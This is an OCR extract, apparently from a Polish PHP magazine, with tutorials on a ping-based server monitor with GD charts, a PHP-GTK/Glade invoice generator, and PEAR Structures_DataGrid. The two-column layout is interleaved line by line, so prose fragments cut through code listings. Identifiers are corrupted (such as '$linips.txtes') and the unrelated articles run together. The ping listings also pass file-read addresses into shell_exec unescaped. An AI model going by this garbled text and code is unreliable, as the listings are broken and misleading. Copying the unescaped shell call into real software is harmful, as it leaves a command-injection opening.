nia serwera – nazwiemy go Server korzystając z wbudowanej do PHP funkcji
Monitoring System. Jego zadaniem będzie shell_exec(). Nasz kod PHP będzie ją
pingowanie naszych serwerów, sprawdzał więc wykonywał jako polecenie powłoki
ich dostępności i wyświetlanie danych (patrz Listing 1).
w czasie rzeczywistym, w postaci wykresu.
Zbieranie
Podstawowe założenia i przetwarzanie danych
Sprecyzujmy najpierw nasze wymagania z polecenia ping
dotyczące systemu: Za pomocą polecenia ping można uzy-
skać całkiem sporo informacji, nas jednak
W SIECI możliwość testowania wielu serwerów, interesuje wyłącznie to, czy i jak szybko
przechowywanie wyników w dogod- serwer odpowiedział na pingowanie. Ozna-
nym miejscu, cza to, że w zwróconym przez funkcję
1. http://www.jpowered.com/
php-scripts/php-gd.htm
regularne wykonywanie testów i od- shell_exec() łańcuchu $command musimy
– opis instalacji biblioteki GD świeżanie rezultatów,
dla silnika PHP
wyświetlanie wyników ostatniego testu
2. http://www.boutell.com/gd/ Co powinieneś wiedzieć...
– strona domowa biblioteki każdego z serwerów, Powinieneś znać podstawy modułu GD.
GD wyświetlanie rezultatów w czasie rze-
3. http://www.jpowered.com/
php-scripts/adv-graph-chart/ czywistym – wykres liniowy. Co obiecujemy...
index.htm – zaawansowana Dowiesz się jak stworzyć działającą
kolekcja wykresów i diagra- aplikację do monitorowania serwera ko-
mów w PHP (zbiór gotowych
Zacznijmy od problemu kluczowego: spo- rzystającą z GD.
funkcji graficznych PHP) sobu testowania serwerów. Istnieje tu wie-
Odświeżanie danych
Następny dylemat dotyczy sposobu wyko-
nywania regularnych testów serwerów – tu
też mamy kilka możliwości. Dla użytkowni-
ków systemów Linux/UNIX najbardziej
oczywistym wyborem byłoby zapewne
umieszczenie odpowiedniego polecenia
w kolejce demona cron. Nasz skrypt ma
być jednak przenośny, musi więc działać
poprawnie także w systemach, w których
cron jest niedostępny (np. MS Windows).
Jak więc rozwiążemy ten problem? Nasz
Server Monitoring System będzie aplikacją
webową, będziemy więc po prostu wywo-
ływać funkcję testującą za każdym razem,
gdy otwierana jest strona z wynikami.
Strona ta będzie zawierała obrazek
z wykresem i trochę kodu JavaScript.
Rysunek 1. Strona wyników zawierająca wykres Obrazek będzie generowany przez
moduł GD, który jest często stosowany Listingu 6 prezentujemy użyty przez nas (patrz Listing 7). Ten sam skrypt będzie
w komputerowej obróbce grafiki pod kod JavaScript. Jak widać, odświeża on zresztą generował stronę z wynikami
PHP. Moduł ten jest domyślnie włączony tylko stronę w X-sekundowych odstępach. przez wywołanie innej funkcji o nazwie
we wszystkich wersjach PHP nowszych Wartość X ustawiliśmy na 2000 milisekund results_table(). Strona będzie się skła-
niż 4.3. (2 sekundy). dała z małej tabeli w HTML-u, zawierają-
Natomiast kod JavaScript posłuży do Nasza funkcja pingująca będzie nosiła cej wyniki ostatniego testu ping każdego
regularnego wykonywania funkcji i aktuali- nazwę ping_function(). Będzie wywo- z serwerów (patrz Listing 8).
zacji wykresu w czasie rzeczywistym. Na ływana z centralnego skryptu, ping.php Mamy już działający system zdolny
przetestować wszystkie serwery, zapisać
Listing 1. Wykonanie polecenia ping rezultaty i wyświetlić wyniki ostatniego
testu. Dodatkowo, nasz system automa-
// Wykonaj polecenie ping w zależności od systemu operacyjnego tycznie wykona cały proces co każde
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { X sekund, aż do zakończenia sesji prze-
$command = shell_exec("ping -n 1 $ip[$i]"); // Polecenie ping (MS Windows)
glądarki. Brakuje nam tylko graficznej
} else {
$command = shell_exec("ping -c 1 $ip[$i]"); // Polecenie ping (UNIX/Linux) prezentacji wyników.
}
Prezentacja wyników
Listing 2. Uzyskanie czasu pingowania ze zwróconego łańcucha $command – rysujemy wykresy
// Wydobądź czas pingowania ze zwróconego łańcucha
Język PHP umożliwia dynamiczne gene-
if (eregi("Request timed out", $command)) { // sprawdzenie opóźnień rowanie grafiki. Wykorzystamy tę cechę
$mstime = 0.0; do tworzenia obrazów zawierających
} else { // Ping zadziałał – pobierz czas wykresy liniowe. Kod odpowiedzialny za
$mstime = 0.0;
rysowanie wykresów umieścimy w pliku
$bp = stripos($command, "time=")+5;
$ep = stripos($command, "ms");
linegraph.php.
$mstime = substr($command, $bp, $ep-$bp); Pierwszym krokiem będzie utworze-
} nie PHP-owego obiektu zawierającego
$iptime[$i] = $mstime; obraz. Dokonamy tego za pomocą funkcji
imagecreate(), tworząc obiekt o nazwie
Listing 3. Pobieranie listy serwerów do tablicy
$image. Następnie narysujemy wykres
// Odczytaj listę adresów IP z pliku ips.txt w tym obiekcie. Na koniec uzyskamy dane
$linips.txtes = @file("ips.txt"); wyjściowe obiektu $image w standardo-
if (!$lines) { // Sprawdź, czy się nie udało wym formacie i zwrócimy je do procesu
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
wywołującego. W naszym przypadku for-
exit;
} matem wyjściowym będzie PNG, a obraz
$ipcount = 0; zwrócimy do przeglądarki internetowej.
foreach ($lines as $line) { Kod wykonujący te czynności pokazujemy
$line = trim($line); na Listingu 9.
if (strlen($line)>0) {
Język PHP pozwala uzyskać obraz
$ip[$ipcount] = trim($line);
$ipcount++; wyjściowy w różnych formatach, mię-
} dzy innymi GIF, JPEG i TIFF. Jednak
} w przypadku zastosowań wymagających
wykresów dobrze będzie użyć PNG, gdyż
Listing 4. Zapisywanie wyników
format ten wykorzystuje bezstratny algo-
// Zachowaj wyniki w pliku pingresult.txt rytm kompresji i obsługuje większą paletę
$handle = @fopen("pingresult.txt","a"); kolorów niż GIF.
if (!$handle) { Musimy zapamiętać kilka ważnych
print("Udało się otworzyć lub utworzyć plik: pingresult.txt<br>"); informacji. Po pierwsze, nasz skrypt
exit;
generuje nagłówki informujące przeglą-
} else {
$datetime = time(); darkę, że dostarczane dane mają postać
for ($i=0;$i<$ipcount;$i++) { obrazu w formacie PNG. Istotne jest, by
$result = $ip[$i].",".$iptime[$i].",".$datetime."\n"; skrypt nie wysyłał przeglądarce żadnych
if (!fwrite($handle, $result)) { innych danych, nawet znaku spacji czy
print("Nie można zapisać do pliku pingresult.txt");
entera (CR). Jeśli tak się stanie, silnik
exit;
} PHP automatycznie wyśle nagłówki in-
} formujące o przesyłaniu pliku text/html,
} a nasze wysiłki spełzną na niczym. Druga
fclose($handle); istotna uwaga dotyczy faktu, iż ustawiamy
również wysokość i szerokość obrazu.
Wymiary te muszą dokładnie odpowiadać
parametrom width i height znacznika odczytać informacje z dwóch plików: 90 % powierzchni wykorzystywanej
<img> w dokumencie HTML, w którym ips.txt i pingresult.txt, siatki,
prezentujemy wyniki. Jeśli dane te nie określić kolor dla każdego z adresów IP, narysować wykres.
będą identyczne, wykres będzie znie- pobrać wyłącznie ostatnie 10 rezulta-
kształcony. tów z pliku zawierającego wyniki, Na Listingach 10 i 11 prezentujemy kod
Wróćmy teraz do rysowania wykresu. obliczyć (na podstawie czasów wykonujący pierwsze cztery kroki – omó-
Musimy wykonać następujące kroki: pingowania) skalę, która obejmie wimy ich najciekawsze fragmenty.
Pierwszy z nich dotyczy definicji
Listing 5. Kompletna funkcja pingująca kolorów. Zanim dany kolor zostanie
wykorzystany przez funkcję rysującą,
function ping_function() { // Odczytaj listę adresów IP z pliku ips.txt musi zostać zdefiniowany i dodany do
$lines = @file("ips.txt"); palety obrazu. Służy do tego funkcja
if (!$lines) { // Sprawdź, czy odczytanie się powiodło
imagecolorallocate(). Po drugie, aby
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
exit; proces rysowania wykresu przebiegał
} szybko i prosto, uwzględnimy tylko 10
$ipcount = 0; ostatnich wyników z pliku. Ostatni istot-
foreach ($lines as $line) { ny fragment kodu dotyczy obliczania
$line = trim($line);
skali – aplikacja powinna być prosta
if (strlen($line)>0) {
$ip[$ipcount] = trim($line); i szybka w działaniu, więc nasze obli-
$ipcount++; czenia będziemy przeprowadzać w spo-
} sób dość podstawowy, choć technicznie
} // Pinguj każdy z adresów IP poprawny.
for ($i=0;$i<$ipcount;$i++) {
Teraz musimy tylko wygenerować wy-
// Wykonaj polecenie ping w zależności od systemu operacyjnego
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { kres. W tym celu powinniśmy narysować:
$command = shell_exec("ping -n 1 $ip[$i]"); // Polecenie ping w MS Windows
} else { tło,
$command = shell_exec("ping -c 1 $ip[$i]"); siatkę,
// Polecenie ping w systemach UNIX/Linux
etykiety osi X,
} // Wydobądź czas pingowania ze zwróconego łańcucha
if (eregi("Request timed out", $command)) {// sprawdzenie opóźnień etykiety osi Y,
$mstime = 0.0; legendę.
} else { // ping zadziałał, pobierz czas
$mstime = 0.0; Oczywiście, musimy też umieścić na
$bp = stripos($command, "time=")+5;
wykresie dane o odpowiednich warto-
$ep = stripos($command, "ms");
$mstime = substr($command, $bp, $ep-$bp); ściach.
} Wszystkie te zadania zrealizujemy za
$iptime[$i] = $mstime; pomocą osobnych funkcji, które przedsta-
} // Zapisz wyniki w pliku pingresult.txt
$handle = @fopen("pingresult.txt","a");
if (!$handle) { Listing 7. Podstawa skryptu pingu-
print("Nie udało się otworzyć lub utworzyć pliku: pingresult.txt<br>"); jącego
exit;
} else { // Wywołaj funkcję pingującą
$datetime = time(); ping_function();
for ($i=0;$i<$ipcount;$i++) {
$result = $ip[$i].",".$iptime[$i].",".$datetime."\n"; // Utwórz nagłówek strony ze
if (!fwrite($handle, $result)) { // skryptem odświeżającym
print("Nie można zapisać wyników do pliku pingresult.txt"); ?><html>
exit; <body>
} <script language='JavaScript'>
} <!--
} setTimeout('refresh()',2000);
fclose($handle); function refresh()
return; {
} location.href = 'ping.php';
}
Listing 6. Funkcja do odświeżania – JavaScript --></script><?php
// Wypisz wyniki ostatniego
<script language='JavaScript'><!-- // pingowania dla każdego adresu IP
setTimeout('refresh()',2000); results_table();
function refresh() {
location.href = 'ping.php'; // Utwórz stopkę strony
print "} ?></body></html>
Listing 11. Definiowanie i oblicznie parametrów wykresu, c.d. Listing 12. Rysowanie elementów wykresu liniowego
R E K L A M A
Paleta
G
lade to narzędzie ułatwiające
tworzenie opartych na GTK inter- Pierwszym elementem każdego projektu
fejsów dla aplikacji napisanych Glade jest okno, dostępne jako pierw-
m.in. w C++, Pythonie, PHP czy Perlu. Za szy element palety Glade (Rysunek 2)
jego pomocą w prosty sposób umiescimy i reprezentujące komponent GtkWindow.
potrzebne elementy, m.in. okna, listy, przy- Kliknięcie elementu Okno na palecie
ciski i ramki. Glade służy wyłącznie do ge- spowoduje wyświetlenie pierwszego
nerowania struktury interfejsu użytkownika okna tworzonego interfejsu, w którym
i nie jest edytorem kodu, ani środowiskiem możemy następnie umieszczać kolej-
programistycznym. ne komponenty (widgety) dostępne na
Ostateczny układ interfejsu jest zapi- palecie, na przykład GtkHBox (skrzynkę
sywany w XML-owym pliku o rozszerzeniu poziomą), GtkVBox (skrzynkę pionową),
W SIECI .glade.
Co powinieneś wiedzieć...
Podstawy Glade’a Powinieneś znać podstawy tworzenia
1. http://glade.gnome.org
– strona główna projektu Pasek narzędzi w głównym oknie progra- aplikacji z GUI i pracy z PHP-GTK. Przy-
Glade mu Glade zawiera przyciski podstawowych da się również znajomość zasad progra-
2. http://http://gladewin32.so- mowania obiektowego.
operacji Otwórz i Zapisz, przycisk opcji
urceforge.net/ – Glade dla
Windows projektu oraz listę okien zawierających Co obiecujemy...
3. http://developer.gnome.org/ projekty. Menu Edycja zawiera typowe Dowiesz się jak napisać aplikację PHP5
doc/API/2.0/pango/
PangoMarkupFormat.html operacje Wytnij, Skopiuj i Wklej, a w menu generującą faktury, z GUI stworzonym
– dokumentacja formatu Widok dostępne są opcje wyświetlania po- przy użyciu programu Glade i dołączo-
Pango nym do aplikacji za pomocą rozszerzenia
4. http://gtk.php.net – strona szczególnych okien interfejsu Glade (pale- PHP-GTK.
główna PHP-GTK ty, właściwości i innych) – patrz Rysunek 1.
Instalacja
Program Glade stanowi standardowy element środowiska GNOME, więc powinien być
obecny we wszystkich dystrybucjach Linuksa to środowisko zawierających. Jeśli korzy-
stasz z Linuksa, a nie możesz znaleźć Glade’a, poszukaj odpowiedniego pakietu dla
używanej dystrybucji. W razie problemów ze znalezieniem takowego lub w celu uzyskania
najnowszej wersji, można też pobrać kod źródłowy ze strony głównej projektu Glade (http://
glade.gnome.org) i skompilować go poleceniami:
./configure
make
make install
atrybuty, takie jak szerokość, wysokość, Pierwszy przykład (widget GtkVBox). W pierwszej komórce
widoczność, itp. Na początek stworzymy okno (widget skrzynki umieścimy etykietę zawierającą
Czwarta zakładka właściwości (Sygna- GtkWindow) zawierające skrzynkę pionową pogrubiony tekst Podaj imię, w drugiej
ły) pozwala kojarzyć sygnały zgłaszane
przez widget (w przypadku przycisku, czyli Listing 1. Przykładowy plik XML dla projektu Glade
widgetu GtkButton, będą to m.in. clicked,
pressed i released) z konkretnymi funk- <?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
cjami obsługi. Funkcję obsługi sygnału <!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
<glade-interface>
określamy podając jej nazwę i jest to
<widget class="GtkWindow" id="window1">
funkcja lub metoda aplikacji, która ma być <property name="visible">True</property>
wywołana w reakcji na zgłoszenie danego <property name="title" translatable="yes">okno1</property>
sygnału przez bieżący widget. Nie ma po- <property name="type">GTK_WINDOW_TOPLEVEL</property>
trzeby łączenia sygnałów z funkcjami na <property name="window_position">GTK_WIN_POS_NONE</property>
<property name="modal">False</property>
etapie pracy z Gladem, gdyż najczęściej
<property name="resizable">True</property>
odbywa się to dopiero podczas tworzenia <property name="destroy_with_parent">False</property>
samej aplikacji. <property name="decorated">True</property>
<property name="skip_taskbar_hint">False</property>
Plik XML <property name="skip_pager_hint">False</property>
<property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
z definicją interfejsu <property name="gravity">GDK_GRAVITY_NORTH_WEST</property>
Zapisanie projektu Glade powoduje <property name="focus_on_map">True</property>
wygenerowanie pliku XML opisującego <child>
strukturę interfejsu (Listing 1). Plik ten <widget class="GtkVBox" id="vbox1">
zawiera nazwy widgetów oraz ich wła- <property name="visible">True</property>
<property name="homogeneous">False</property>
ściwości, a więc wymiary, etykiety, ikony,
<property name="spacing">0</property>
tryby pakowania, przypisania sygnałów <child><placeholder/></child><child>
do funkcji obsługi i inne. Właściwości każ- <widget class="GtkHBox" id="hbox2">
dego widgetu reprezentuje zestaw znacz- <property name="visible">True</property>
ników XML, których hierarchia odpowiada <property name="homogeneous">False</property>
<property name="spacing">0</property>
hierarchii widgetów.
<child>
Gotowy projekt Glade można już <widget class="GtkLabel" id="label1">
wykorzystać w aplikacji. Z poziomu PHP <property name="visible">True</property>
odbywa się to za pośrednictwem klasy <property name="label" translatable="yes"> Kod: </property>
GladeXML, która przetwarza XML-owy opis <property name="use_underline">False</property>
<property name="use_markup">False</property>
interfejsu i udostępnia naszej aplikacji
<property name="justify">GTK_JUSTIFY_LEFT</property>
zdefiniowane przez niego widgety. Po- <property name="wrap">False</property>
bieranie konkretnych widgetów umożliwia <property name="selectable">False</property>
metoda get_widget(). Jej użycie wymaga <property name="xalign">0.5</property>
jedynie znajomości nazwy komponentu, <property name="yalign">0.5</property>
<property name="xpad">0</property>
który chcemy pobrać z pliku projektu
<property name="ypad">0</property>
Glade. <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
<property name="width_chars">-1</property>
<property name="single_line_mode">False</property>
<property name="angle">0</property>
</widget>
<packing>
<property name="padding">0</property>
<property name="expand">False</property>
<property name="fill">False</property>
</packing>
</child>
</widget>
<packing>
<property name="padding">0</property>
<property name="expand">True</property>
<property name="fill">True</property>
</packing>
</child><child><placeholder/></child>
</widget>
</child>
</widget>
</glade-interface>
Aplikacja
Najwyższy czas na aplikację z prawdzi-
wego zdarzenia: generator faktur. Do
zaprojektowania interfejsu użytkownika
wykorzystamy program Glade, po czym
postępując podobnie, jak w poprzednim
przykładzie, napiszemy kod aplikacji od-
wołujący się do tak utworzonego interfej-
su. Ponieważ faktury będą generowane
w formacie PDF, będziemy dodatkowo
korzystali z FPDF – napisanej w czy-
Rysunek 6. Okno właściwości: zakładki Upakowywanie, Typowe i Sygnały
Umieszczenie komponentu GtkLabel stępnie przechodzimy do edycji właściwo- Składnia znaczników formatujących
w obszarze GtkFixed sprowadza się do ści Label, gdzie wykorzystamy możliwości jest bardzo podobna do analogicz-
kliknięcia przycisku GtkLabel na palecie, znaczników formatujących (wymaga to nych tagów języka HTML – atrybuty
a następnie kliknięcia w oknie projektu dodatkowo włączenia właściwości Użycie czcionki ustawimy przy użyciu <span
tam, gdzie ma się znaleźć etykieta. Na- języka znaczników). font_desc="Times Bold Italic 10">,
do określenia koloru (na przykład)
Listing 4. Generator faktur w PHP (plik Invoice.php), c.d. czerwonego posłuży znacznik <span
foreground=red>, a tagi <b>, <i> i <u>
// Obliczenie sumy pośredniej określają odpowiednio pogrubienie, kur-
$this->subTotal->set_text($this->subTotal->get_text()+ sywę i podkreślenie. Zarówno API
$this->productPrice->get_text());
Pango, jak i obsługiwane znaczniki są
// Obliczenie kosztu wysyłki
$this->Shipping->set_text($this->amount*$this->shipping_fee); szczegółowo opisane na stronie http://
// Obliczenie kwoty podatku developer.gnome.org/doc/API/2.0/pango/
$this->Taxes->set_text($this->subTotal->get_text()*$this->taxes); PangoMarkupFormat.html.
// Podliczenie łącznej sumy Analogicznie dodajemy etykiety Klient,
$this->Total->set_text($this->subTotal->get_text() +
Nazwa, Adres, Faktura, Data, Produkt,
$this->Shipping->get_text()+$this->Taxes->get_text());
// Opróżnienie pól tekstowych Kod, Opis, Ilość, Cena, Suma pośrednia,
$this->productCode->set_text(''); Podatki, Koszt wysyłki i Suma.
...
// Przeniesienie kursora do pola kodu produktu Dodawanie pola tekstowego
$this->window->set_focus($this->productCode);
Teraz dodamy odpowiadające poszcze-
}
// Metoda clearItems() – opróżnia listę produktów gólnym etykietom pola tekstowe (widgety
public function clearItems(){ GtkEntry), poczynając od pola nazwy
$this->model->clear(); // usunięcie elementów listy klienta, czyli customerName. Pozycję każ-
$this->amount = 0; dego pola dopasowujemy korzystając
$this->subTotal->set_text(0); // wyzerowanie sumy pośredniej
z właściwości w zakładce Upakowywanie
...
// zwiększenie numeru faktury oraz właściwości wysokości i szerokości
$this->invoiceNumber->set_text($this->invoiceNumber->get_text() + 1); w zakładce Typowe. Cały proces powta-
}
// Generuje fakturę
public function saveInvoice(){
include_once('InvoicePdf.class.php'); // dołączenie klasy faktury
$this->invoice = new InvoicePdf();
// Ustawienie numeru i daty faktury
$this->invoice->setNumber($this->invoiceNumber->get_text());
$this->invoice->setDate($this->invoiceDate->get_text());
// Utworzenie obiektu klienta
$customer->name = $this->customerName->get_text();
...
// Ustawienie danych klienta na fakturze
$this->invoice->setCustomer($customer);
// Przejście w pętli po wszystkich produktach
$iter = $this->model->get_iter_first();
while ($iter){
$code = $this->model->get_value($iter, 0);
...
// Dodanie danych produktu do obiektu faktury
Rysunek 9. Ostateczny wygląd pierw-
szego przykładu
Rysunek 13. Ostateczny interfejs gene- Rysunek 14. Ostateczny interfejs gene- Rysunek 15. Wygenerowana faktura
ratora w edytorze ratora w działającej aplikacji
rogu wyświetlane są automatycznie nieistniejącego obiektu, a jeśli tak się to dokument PDF, którego nagłówek (ob-
wypełniane pola Suma pośrednia, Po- stanie – utworzymy odpowiedni obiekt rysowany prostokątem) zawiera w lewym
datek, Koszty wysyłki i Suma. Dla po- wywołując metodę get_widget() klasy górnym rogu logo, nazwę i adres firmy,
trzeb przykładowej aplikacji przyjmiemy GladeXML. W praktyce oznacza to, że a w prawym górnym rogu – numer fak-
podatek 5% i koszt wysyłki $0,40 dla dostęp np. do widgetu customerName tury i datę. Niżej, w szarym polu podane
każdej pozycji. Na rysunku nazwa każ- możemy zawsze uzyskać przez $this- są dane klienta (Nazwa, Adres i Telefon),
dego widgetu jest wyróżniona kolorem >customerName, a do przycisku Zapisz a na środku strony znajduje się lista
czerwonym i ujęta w nawiasy kątowe – przez $this->saveButton. produktów. Dla każdej pozycji na liście
<> (oczywiście, w aplikacji nazwy te nie Musimy jeszcze podłączyć przyciski podane są Kod, Opis, Ilość i Cena, przy
będą widoczne). do odpowiednich sygnałów i funkcji obsłu- czym nazwy kolumn są umieszczone
gi. Gdy użytkownik wprowadzi dane kolej- na ciemnoszarym tle. W stopce faktury
Główny kod programu nej pozycji faktury i kliknie przycisk Dodaj, podane są Suma pośrednia, Podatek,
Na Listingach 3, 4 i 5 przedstawiamy kod zostanie wykonana metoda addItem(), Koszt wysyłki i Suma, a wszystkie kolory
głównego pliku aplikacji (plik invoice.php). która doda informacje o danym produkcie są identyczne do zdefiniowanych w inter-
Całość zaczyna się definicją klasy do listy. Kliknięcie przycisku Zapisz spo- fejsie Glade.
invoice, rozszerzającej klasę GladeXML. woduje wywołanie metody saveInvoice().
Przyjrzyjmy się bliżej konstruktorowi tej Wyświetla ona okno dialogowe klasy Podsumowanie
klasy. Jego działanie rozpoczyna się wy- GtkFileChooserDialog, w którym użytkow- Tak oto stworzyliśmy działający genera-
wołaniem konstruktora klasy nadrzędnej nik podaje nazwę tworzonego pliku, a na- tor faktur i pokazaliśmy, jak szybko i ła-
(czyli GladeXML) z argumentem w postaci stępnie inicjuje obiekt klasy InvoicePdf, two przebiega generowanie graficznych
nazwy pliku zawierającego utworzony co powoduje wygenerowanie pliku PDF interfejsów użytkownika z pomocą pro-
wcześniej interfejs aplikacji (interface.gla- z fakturą. Po wygenerowaniu pliku numer gramu Glade. Przy okazji rozprawiliśmy
de). Kolejny wiersz ustawia tryb POSIX faktury jest zwiększany o jeden, a lista po- się z obiegową opinią, że PHP nadaje
dla obliczeń. zycji jest opróżniana. się tylko do pisania aplikacji działających
Następną ważną czynnością jest po- po stronie serwera. Połączenie PHP5,
łączenie sygnałów przycisków interfejsu Generowanie pliku PDF rozszerzenia PHP-GTK i programu Gla-
z odpowiednimi funkcjami obsługi. Wyko- Klasa InvoicePdf odpowiada za tworzenie de daje bardzo dobre wyniki i można
rzystamy do tego celu metodę connect_ pliku PDF (Listing 6). Inicjuje ona obiekt je polecić każdemu, kto chce tworzyć
simple() przycisków $this->saveButton, klasy FPDF i udostępnia kilka metod: wszechstronne aplikacje z interfejsem
$this->clearButton i $this->addButton, setCustomer() ustawiającą dane klienta graficznym, korzystając przy tym z uzna-
służących odpowiednio do zapisywania (nazwę, adres i telefon), setFooter() nych i sprawdzonych technologii.
danych, opróżniania pól tekstowych ustawiającą informacje podawane w stop-
i dodawania nowego produktu do listy. ce faktury (sumę pośrednią, koszt wy-
Tworzenie modelu danych samej listy jest syłki, podatek i łączną sumę), addItem()
obsługiwane osobno. dodającą produkt do listy oraz metodę
Oczywiście, pobieranie obiektu inter- Generate(), która pobiera wszystkie nie-
O autorze
fejsu z pliku za każdym razem, gdy jest zbędne informacje i tworzy odpowiedni do- Pablo Dall’Oglio jest autorem pierwszej
on potrzebny, byłoby nieco kłopotliwe. kument PDF korzystając z biblioteki FPDF. na świecie książki o PHP-GTK. Jest też
twórcą programów Agata Report (http://
Aby ułatwić sobie życie, skorzystamy Gotowa faktura jest otwierana w wybranej
www.agatareports.com) i Tulip Editor
z jednej z nowych możliwości PHP5: przeglądarce plików PDF. (http://tulip.solis.coop.br), jak również ko-
magicznej metody __get(), przechwy- ordynatorem projektu GNUTeca (http://
tującej wszystkie próby pobrania właści- Gotowa faktura www.gnuteca.org.br) – systemu open
source do zarządzania bibliotekami.
wości obiektu. Za jej pomocą będziemy Na Rysunku 15 przedstawiamy owoc
Kontakt z autorem: pablo@dalloglio.net
sprawdzać, czy nie zażądano atrybutów naszej pracy, czyli gotową fakturę. Jest
Structures_DataGrid
dla danych tabelarycznych
Stopień trudności:
Aaron Wormus
O
sobom programującym pod wyświetlić wynik w postaci tabeli lub
Windows dobrze znany jest przekonwertować go do formatu, dla któ-
komponent DataGrid, pozwala- rego istnieje sterownik prezentacji. W Ta-
jący łatwo wyświetlać dane tabelaryczne. beli 1 pokazujemy wybór udostępnianych
Również twórcy aplikacji internetowych przez rozszerzenie Structures_DataGrid
w środowisku .NET mają do dyspozycji możliwości wczytywania i prezentacji
podobne narzędzie. Natomiast dla PHP danych.
do niedawna nie istniała żadna uznana
implementacja datagridu. Programiści, Do dzieła
którzy potrzebowali z niego skorzystać Zaczniemy od przykładów wykorzysta-
byli więc zmuszeni pisać własną wersję nia rozszerzenia Structures_DataGrid,
datagridu lub zadowalać się niedoskona- a następnie do rozwiązań, w których
łą implementacją komercyjną.
Lukę tę doskonale wypełnia roz-
Co powinieneś wiedzieć...
szerzenie PEAR Structures_DataGrid. Powinieneś znać podstawy PHP i ob-
Oprócz opcji odczytywania danych z ba- sługi kanałów RSS. Przydatna będzie
zy i wiązania ich z tabelą HTML oferuje również wiedza o graficznych interfej-
W SIECI także dużą elastyczność dotyczącą po- sach użytkownika (GUI) i występują-
cym w nich elemencie datagrid.
bierania i prezentacji danych. Oznacza
1. pear.php.net/package/
to, że w ramach Structures_DataGrid Co obiecujemy...
Structures_DataGrid można np. zaimportować dane z pliku Dowiesz się jak przy pomocy PEAR::
– PEAR-owy pakiet Structu- XML korzystając ze sterownika obsługu- Structures_DataGrid tworzyć efektowne
res_DataGrid prezentacje danych tabelarycznych po-
2. http://datagrid.webitecture.org jącego to źródło danych, wybrać pola, chodzących z różnych źródeł.
– informacje o DataGrid które mają być widoczne, a następnie
możliwości formatowania oraz roz- _DataGrid w praktyce. Na Listingu 1 Aaron Wormus aaron@wormus.com
szerzania funkcjonalności tej biblio- przedstawiamy przykład, w którym ko- Clark Kent clark@kent.com
teki. rzystamy ze źródła danych Array oraz
1 2 »
domyślnego sterownika prezentacji
Instalacja rozszerzenia HTML_Table. W czeterech liniach kodu
Structures_DataGrid (nie licząc wierszy do zdefiniowana da- Rysunek 1. DataGrid w działaniu
Structures_DataGrid posiada kilka pakie- nych) zbudowaliśmy działający datagrid – pierwszy przykład
tów zależnych, których instalacja nie jest z możliwością sortowania!
obowiązkowa. Dla naszego artykułu zain- Po dołączeniu pliku kolejnej klasy W tej samej linii przez parametr
stalujemy Structures_DataGrid, wpisując Structures_DataGrid tworzymy jej in- konstruktora ustawimy liczbę wyświe-
polecenie: stancję, którą nazwiemy $dg. Istotne tlanych jednocześnie na ekranie wierszy
jest, aby dokonać tego przez referencję, tabeli wynikowej, co pozwoli nam zoba-
pear install --alldeps § czyli poprzedzając słowo kluczowe new czyć działanie mechanizmu stronico-
structures_datagrid-beta. operatorem &. wania.
Następnie dowiązujemy dane do
Listing 1. Wyświetlanie datagridu zawierającego nazwiska i adresy e-mail pobrane obiektu wywołując metodę bind(), po
z tablicy czym wyświetlamy wynikowy datagrid za
pomocą metody render(). Ponieważ ko-
require_once('Structures/DataGrid.php'); rzystamy z domyślnego sterownika pre-
zentacji HTML_Table, dostęp do kolejnych
$data = array(
array('First Name' => 'Aaron','Last Name' => 'Wormus','Email' => 'aaron@wormus.com'), stron uzyskujemy za pośrednictwem
array('First Name' => 'Clark','Last Name' => 'Kent','Email' => 'clark@kent.com'), metody getPaging() sterownika. Nasza
array('First Name' => 'Peter','Last Name' => 'Parker','Email' => 'peter@parker.com'), tabela jest gotowa – przedstawiamy ją
array('First Name' => 'Bruce','Last Name' => 'Wayne','Email' => 'bruce@wayne.com') na Rysunku 1.
);
Generujemy arkusz
Excela przy użyciu Listing 4. Modyfikacja ustawień prezentacji danych dla sterownika HTML_Table
sterownika prezentacji ...
Mamy już obiekt datagridu pobierający $dg =& new Structures_DataGrid(2, null, DATAGRID_RENDER_TABLE);
dane z pliku CSV i wyświetlający je $dg->renderer->setTableHeaderAttributes(array('bgcolor' => '#3399FF'));
w postaci tabeli HTML. Skorzystajmy $dg->renderer->setTableOddRowAttributes(array('bgcolor' => '#CCCCCC'));
teraz z innych możliwości oferowanych $dg->renderer->setTableEvenRowAttributes(array('bgcolor' => '#EEEEEE'));
Data- Pobiera dane z bazy za pomocą interfejsu Sterownik domyślny, wyświetlający dane w postaci stronicowa-
HTML_Table
Object obiektowego PEAR:: DB_DataObject. nej tabeli HTML z możliwością konfiguracji i sortowania.
DB Pobiera dane za pomocą PEAR::DB. Smarty Generuje dane prezentacji za pomocą szablonów Smarty.
tytek (ang. entities) HTML oznaczających klasa Structures_DataGrid wykonywała są zwracane w formacie stosowanym
strzałki skierowane do góry i w dół, ale to automatycznie, oszczędzając nam w kolumnie naszego datagridu. W tym
możemy użyć dowolnego kodu HTML, tym samym sporo pracy. Niekiedy jest przykładzie mamy tylko dwie kolumny:
również znacznika <img> służącego do jednak konieczne ręczne dodanie nowej pierwsza zawiera odsyłacz do artykułu,
wstawiania obrazów. kolumny. a druga link pozwalający przesłać jego
Wykorzystamy sterownik źródła danych adres znajomemu. Ten drugi uzyskamy
Rozszerzenie klasy RSS, aby pobrać dane z zewnętrznego pli- poprzez odpowiednie sformatowanie ad-
Structures_DataGrid ku RSS, a następnie wyświetlimy te dane resu artykułu i połączenie go ze skryptem,
Kod ustawiający każdy atrybut tabeli wraz z kilkoma dodatkowymi kolumnami. który umożliwia wysłanie linku.
z osobna jest dość długi, więc powta- Listing 6 ilustruje proces tworzenia źródła
rzanie go przy każdym użyciu datagridu danych RSS, przy czym wyświetlane będą Podsumowanie
nie byłoby specjalnie wygodne. Nie- jedynie pola tytułu i odsyłacza. Wdrożenie klasy Structures_DataGrid
dogodność tę rozwiążemy definiując Najciekawszą częścią jest dodawanie w wielu przypadkach całkowicie zmienia
własną klasę rozszerzającą Structures_ kolumn poprzez tworzenie instancji klasy sposób tworzenia aplikacji w PHP. Uwal-
DataGrid, dzięki czemu pożądane Structures_DataGrid_Column. Argumenty niając programistę od powtarzalnych
